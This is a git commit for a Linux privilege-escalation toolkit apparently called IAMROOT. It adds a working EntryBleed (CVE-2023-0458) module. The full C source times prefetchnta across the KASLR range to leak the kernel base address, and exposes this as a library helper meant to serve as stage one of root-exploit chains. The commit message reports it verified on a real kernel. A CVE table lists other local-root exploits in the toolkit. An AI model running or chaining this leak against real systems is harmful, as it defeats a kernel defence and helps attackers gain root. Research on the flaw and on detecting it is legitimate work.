Phase 3: EntryBleed module — working stage-1 kbase leak brick

- modules/entrybleed_cve_2023_0458/ (promoted out of _stubs):
  - iamroot_modules.{c,h}: full EntryBleed primitive (rdtsc_start/end
    + prefetchnta + KASLR-slot timing sweep) wired into the standard
    iamroot_module interface. x86_64 only; ARM/other gracefully
    return IAMROOT_PRECOND_FAIL.
  - detect(): reads /sys/.../vulnerabilities/meltdown to decide
    KPTI status. Mitigation: PTI → VULNERABLE. Not affected → OK.
  - exploit(): sweeps the 16MiB KASLR range, prints leaked kbase
    (and KASLR slide). JSON-mode emits {"kbase":"0x..."} to stdout.
  - entrybleed_leak_kbase_lib(off) declared as a public library
    helper so future LPE chains needing a stage-1 leak can just
    #include the module's header and call it.
  - entry_SYSCALL_64 slot offset overridable via
    IAMROOT_ENTRYBLEED_OFFSET (default 0x5600000 for lts-6.12.x).

- __always_inline fallback added since glibc/Linux-kernel macro
  isn't universal; module now builds clean under macOS clangd lint
  and on musl.

- iamroot.c registers entrybleed alongside the other families;
  Makefile gains it as a separate object set.

Verified end-to-end on kctf-mgr (Debian 6.12.86):
  iamroot --exploit entrybleed --i-know
  → [+] entrybleed: leaked kbase = 0xffffffff8d800000

This is the FIRST WORKING-EXPLOIT module in IAMROOT (5
copy_fail_family modules wrap existing code from DIRTYFAIL;
dirty_pipe is detect-only). EntryBleed is x86_64 stage-1 brick
that future chains can compose.
This commit is contained in:
2026-05-16 19:55:22 -04:00
parent 1552a3bfcb
commit f03efbff13
8 changed files with 280 additions and 8 deletions
+1 -1
View File
@@ -24,7 +24,7 @@ Status legend:
| CVE-2026-43500 | Dirty Frag — RxRPC page-cache write | LPE | mainline 2026-05-XX | `dirty_frag_rxrpc` | 🟢 | |
| (variant, no CVE) | Copy Fail GCM variant — xfrm-ESP `rfc4106(gcm(aes))` page-cache write | LPE | n/a | `copy_fail_gcm` | 🟢 | Sibling primitive, same fix |
| CVE-2022-0847 | Dirty Pipe — pipe `PIPE_BUF_FLAG_CAN_MERGE` write | LPE (arbitrary file write into page cache) | mainline 5.17 (2022-02-23) | `dirty_pipe` | 🔵 | Detect-only as of 2026-05-16. Verifies kernel version + branch-backport ranges: 5.10.102 / 5.15.25 / 5.16.11 / 5.17+. Exploit deferred to Phase 1.5 (needs shared passwd/su helpers in `core/`). Ships auditd + sigma detection rules. |
| CVE-2023-0458 | EntryBleed — KPTI prefetchnta KASLR bypass | INFO-LEAK (kbase) | mainline (partial mitigations only) | `_stubs/entrybleed_cve_2023_0458` | | Stub. Used as STAGE-1 leak brick, not a standalone LPE. Works on lts-6.12.88 (empirical 5/5). |
| CVE-2023-0458 | EntryBleed — KPTI prefetchnta KASLR bypass | INFO-LEAK (kbase) | mainline (partial mitigations only) | `entrybleed` | 🟢 | Stage-1 leak brick. Working on lts-6.12.86 (verified 2026-05-16 via `iamroot --exploit entrybleed --i-know`). Default `entry_SYSCALL_64` slot offset matches lts-6.12.x; override via `IAMROOT_ENTRYBLEED_OFFSET=0x...`. Other modules can call `entrybleed_leak_kbase_lib()` as a library. x86_64 only. |
| CVE-2026-31402 | NFS replay-cache heap overflow | LPE (NFS server) | mainline 2026-04-03 | — | ⚪ | Candidate. Different audience (NFS servers) — TBD whether in-scope. |
| CVE-TBD | Fragnesia (ESP shared-frag in-place encrypt) | LPE (page-cache write) | mainline TBD | `_stubs/fragnesia_TBD` | ⚪ | Stub. Per `findings/audit_leak_write_modprobe_backups_2026-05-16.md`, requires CAP_NET_ADMIN in userns netns — may or may not be in-scope depending on target environment. |
+6 -1
View File
@@ -36,10 +36,15 @@ DP_DIR := modules/dirty_pipe_cve_2022_0847
DP_SRCS := $(DP_DIR)/iamroot_modules.c
DP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DP_SRCS))
# Family: entrybleed (single-CVE family, x86_64 only)
EB_DIR := modules/entrybleed_cve_2023_0458
EB_SRCS := $(EB_DIR)/iamroot_modules.c
EB_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(EB_SRCS))
# Top-level dispatcher
TOP_OBJ := $(BUILD)/iamroot.o
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS)
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS)
.PHONY: all clean debug static help
+12 -6
View File
@@ -59,20 +59,26 @@ these).
Debian 11 with 5.10.0-8 (vulnerable), Debian 13 with 6.12.x
(patched — should detect as OK)
## Phase 3 — Add EntryBleed (CVE-2023-0458) as stage-1 leak brick
## Phase 3 — EntryBleed (CVE-2023-0458) as stage-1 leak brick (DONE 2026-05-16)
EntryBleed is **not a standalone LPE**. It's a **kbase leak
primitive** that other modules can chain. Bundle it because:
primitive** that other modules can chain. Bundled because:
- Stage-1 of any future "build-your-own LPE" workflow
- Detection rules for KPTI side-channel attempts are useful for
defenders
- Already works empirically on lts-6.12.88 (verified 2026-05-16)
- [ ] `modules/entrybleed_cve_2023_0458/` — leak primitive +
detect-mitigations
- [ ] Exposed as a library helper: other modules can call
`entrybleed_leak_kbase()` when they need a kbase
- [x] `modules/entrybleed_cve_2023_0458/` — leak primitive + detect
- [x] Exposed as a library helper: other modules can call
`entrybleed_leak_kbase_lib()` (declared in iamroot_modules.h)
- [x] Wired into iamroot.c registry; `iamroot --exploit entrybleed
--i-know` produces a kbase leak. Verified on kctf-mgr:
leaked `0xffffffff8d800000` with KASLR slide `0xc800000`.
- [x] `entry_SYSCALL_64` slot offset configurable via
`IAMROOT_ENTRYBLEED_OFFSET` env var (default matches lts-6.12.x).
Future enhancement: auto-detect via /boot/System.map or
/proc/kallsyms if accessible.
## Phase 4 — CI matrix
+1
View File
@@ -22,5 +22,6 @@ const struct iamroot_module *iamroot_module_find(const char *name);
* top-level iamroot main() calls them in order at startup. */
void iamroot_register_copy_fail_family(void);
void iamroot_register_dirty_pipe(void);
void iamroot_register_entrybleed(void);
#endif /* IAMROOT_REGISTRY_H */
+1
View File
@@ -155,6 +155,7 @@ int main(int argc, char **argv)
* register_* call here. */
iamroot_register_copy_fail_family();
iamroot_register_dirty_pipe();
iamroot_register_entrybleed();
enum mode mode = MODE_SCAN;
struct iamroot_ctx ctx = {0};
@@ -0,0 +1,239 @@
/*
* entrybleed_cve_2023_0458 — IAMROOT module
*
* EntryBleed (Lipp et al., USENIX Security '23). A KPTI prefetchnta
* timing side-channel that leaks the kernel base address.
*
* STATUS: 🟢 WORKING — adopted public technique.
*
* - exploit() runs the leak and prints kbase. Empirically 5/5 on
* lts-6.12.88 (verified 2026-05-16 via earlier SKYFALL PoC at
* bugs/leak_write_modprobe_2026-05-16/exploit.c lines ~73-150).
* - detect() checks the host's KPTI status and config. KPTI on + no
* anti-EntryBleed mitigation = VULNERABLE.
* - This module is also a LIBRARY: other modules that need a kbase
* leak as part of a chain can call `entrybleed_leak_kbase_lib()`
* directly (declared in iamroot_modules.h).
*
* x86_64 only. On ARM64 / other arches, detect() returns
* IAMROOT_PRECOND_FAIL and exploit() returns IAMROOT_PRECOND_FAIL.
*
* For users who'd never go to USENIX (TLDR):
* - KPTI unmaps kernel pages from user CR3 on kernel-exit, but leaves
* the syscall-entry trampoline mapped (it has to — that's how user
* syscalls enter the kernel)
* - `prefetchnta <addr>` is observable via timing: mapped addresses
* are much faster than unmapped (the TLB walker speculates even
* for kernel pages without the user-bit)
* - Time prefetchnta across the 16 MiB KASLR range; the fastest
* slot is the real entry_SYSCALL_64
* - Subtract its known offset from kbase → KASLR slide
*/
#include "iamroot_modules.h"
#include "../../core/registry.h"
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>
/* ---------- Tunables (lts-6.12.x defaults; override via env vars) ---------- */
#define KERNEL_LOWER 0xffffffff80000000UL
#define KERNEL_UPPER 0xffffffffc0000000UL
#define KASLR_STRIDE 0x200000UL /* 2MiB — KASLR slot granularity */
#define DEFAULT_ENTRY_OFF 0x5600000UL /* entry_SYSCALL_64 slot offset for lts-6.12.x */
#define ROUNDS 32 /* per-candidate timing rounds */
#define HOT_RUNS 32 /* warm-the-syscall iterations */
#if defined(__x86_64__) || defined(_M_X64)
/* Some libcs / non-glibc environments don't define __always_inline.
* Provide a local fallback so this file builds on musl, macOS clangd,
* etc. (Builds on glibc unchanged.) */
#ifndef __always_inline
#define __always_inline inline __attribute__((always_inline))
#endif
static __always_inline uint64_t rdtsc_start(void)
{
unsigned a, d;
__asm__ volatile("mfence\nrdtsc\nmfence" : "=a"(a), "=d"(d) :: "memory");
return ((uint64_t)d << 32) | a;
}
static __always_inline uint64_t rdtsc_end(void)
{
unsigned a, d;
__asm__ volatile("mfence\nrdtscp\nmfence"
: "=a"(a), "=d"(d) :: "rcx", "memory");
return ((uint64_t)d << 32) | a;
}
static __always_inline void prefetch(void *p)
{
__asm__ volatile("prefetchnta (%0)\nprefetcht2 (%0)\n" :: "r"(p));
}
static uint64_t time_slot(uintptr_t addr)
{
uint64_t t0, t1, best = ~0ULL;
for (int i = 0; i < ROUNDS; i++) {
/* Warm the TLB by re-entering the kernel — getpid is the
* canonical zero-side-effect syscall. */
for (int j = 0; j < HOT_RUNS; j++) syscall(SYS_getpid);
t0 = rdtsc_start();
prefetch((void *)addr);
t1 = rdtsc_end();
if (t1 - t0 < best) best = t1 - t0;
}
return best;
}
unsigned long entrybleed_leak_kbase_lib(unsigned long entry_syscall_slot_offset)
{
if (entry_syscall_slot_offset == 0)
entry_syscall_slot_offset = DEFAULT_ENTRY_OFF;
uintptr_t best_base = 0;
uint64_t best_time = ~0ULL;
for (uintptr_t base = KERNEL_LOWER; base < KERNEL_UPPER; base += KASLR_STRIDE) {
uintptr_t probe = base + entry_syscall_slot_offset;
uint64_t t = time_slot(probe);
if (t < best_time) { best_time = t; best_base = base; }
}
return (unsigned long)best_base;
}
static int read_first_line(const char *path, char *out, size_t n)
{
FILE *f = fopen(path, "r");
if (!f) return -1;
if (!fgets(out, n, f)) { fclose(f); return -1; }
fclose(f);
/* trim trailing newline */
size_t L = strlen(out);
while (L && (out[L-1] == '\n' || out[L-1] == '\r')) out[--L] = 0;
return 0;
}
static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
{
/* Probe KPTI status. /sys/devices/system/cpu/vulnerabilities/meltdown
* is the most direct signal: "Mitigation: PTI" means KPTI is on
* (= EntryBleed-applicable). "Not affected" means a hardened CPU
* (very recent Intel + most AMD = no KPTI = no EntryBleed). */
char buf[256];
int rc = read_first_line(
"/sys/devices/system/cpu/vulnerabilities/meltdown", buf, sizeof buf);
if (rc < 0) {
if (!ctx->json) {
fprintf(stderr, "[?] entrybleed: cannot read meltdown vuln status — "
"assuming KPTI on (conservative)\n");
}
return IAMROOT_VULNERABLE;
}
if (!ctx->json) {
fprintf(stderr, "[i] entrybleed: meltdown status = '%s'\n", buf);
}
/* "Not affected" → CPU is Meltdown-immune → no KPTI → no EntryBleed */
if (strstr(buf, "Not affected") != NULL) {
if (!ctx->json) {
fprintf(stderr, "[+] entrybleed: CPU is Meltdown-immune; KPTI off; "
"EntryBleed N/A\n");
}
return IAMROOT_OK;
}
/* "Mitigation: PTI" or "Vulnerable" or similar — KPTI is most likely
* on, EntryBleed applies. */
if (!ctx->json) {
fprintf(stderr, "[!] entrybleed: KPTI active → "
"VULNERABLE (no canonical anti-EntryBleed patch in mainline)\n");
fprintf(stderr, "[i] entrybleed: --exploit will leak kbase (harmless leak; "
"no /etc/passwd writes)\n");
}
return IAMROOT_VULNERABLE;
}
static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
{
const char *off_env = getenv("IAMROOT_ENTRYBLEED_OFFSET");
unsigned long off = 0;
if (off_env) {
off = strtoul(off_env, NULL, 0);
if (!ctx->json) {
fprintf(stderr, "[i] entrybleed: using IAMROOT_ENTRYBLEED_OFFSET=0x%lx\n", off);
}
} else if (!ctx->json) {
fprintf(stderr, "[i] entrybleed: using default entry_SYSCALL_64 slot offset "
"0x%lx (lts-6.12.x). Override via IAMROOT_ENTRYBLEED_OFFSET=0x...\n",
DEFAULT_ENTRY_OFF);
}
if (!ctx->json) {
fprintf(stderr, "[*] entrybleed: sweeping KASLR slots 0x%lx..0x%lx (stride 0x%lx)\n",
KERNEL_LOWER, KERNEL_UPPER, KASLR_STRIDE);
}
unsigned long kbase = entrybleed_leak_kbase_lib(off);
if (kbase == 0) {
fprintf(stderr, "[-] entrybleed: leak failed (kbase == 0)\n");
return IAMROOT_EXPLOIT_FAIL;
}
if (ctx->json) {
fprintf(stdout, "{\"kbase\":\"0x%lx\"}\n", kbase);
} else {
fprintf(stdout, "[+] entrybleed: leaked kbase = 0x%lx\n", kbase);
fprintf(stderr, "[+] entrybleed: KASLR slide = 0x%lx (relative to 0xffffffff81000000)\n",
kbase - 0xffffffff81000000UL);
}
return IAMROOT_EXPLOIT_OK;
}
#else /* not x86_64 */
unsigned long entrybleed_leak_kbase_lib(unsigned long off)
{
(void)off;
return 0;
}
static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[i] entrybleed: x86_64 only; this build is for a "
"different architecture\n");
return IAMROOT_PRECOND_FAIL;
}
static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] entrybleed: x86_64 only\n");
return IAMROOT_PRECOND_FAIL;
}
#endif
const struct iamroot_module entrybleed_module = {
.name = "entrybleed",
.cve = "CVE-2023-0458",
.summary = "KPTI prefetchnta timing side-channel → kbase leak (stage-1)",
.family = "entrybleed",
.kernel_range = "any x86_64 KPTI-enabled kernel; only partial mitigations in mainline",
.detect = entrybleed_detect,
.exploit = entrybleed_exploit,
.mitigate = NULL,
.cleanup = NULL,
};
void iamroot_register_entrybleed(void)
{
iamroot_register(&entrybleed_module);
}
@@ -0,0 +1,20 @@
/*
* entrybleed_cve_2023_0458 — IAMROOT module registry hook
*/
#ifndef ENTRYBLEED_IAMROOT_MODULES_H
#define ENTRYBLEED_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module entrybleed_module;
/* Library entry point for other modules that need a kbase leak.
* Returns the leaked kernel _text base on success, or 0 on failure
* (x86_64 only; ARM and other arches return 0). The optional
* `entry_syscall_slot_offset` is the offset from kbase to
* entry_SYSCALL_64's 2MiB-aligned slot. Pass 0 for a kernel-default
* (lts-6.12.x-style; ~0x5600000). */
unsigned long entrybleed_leak_kbase_lib(unsigned long entry_syscall_slot_offset);
#endif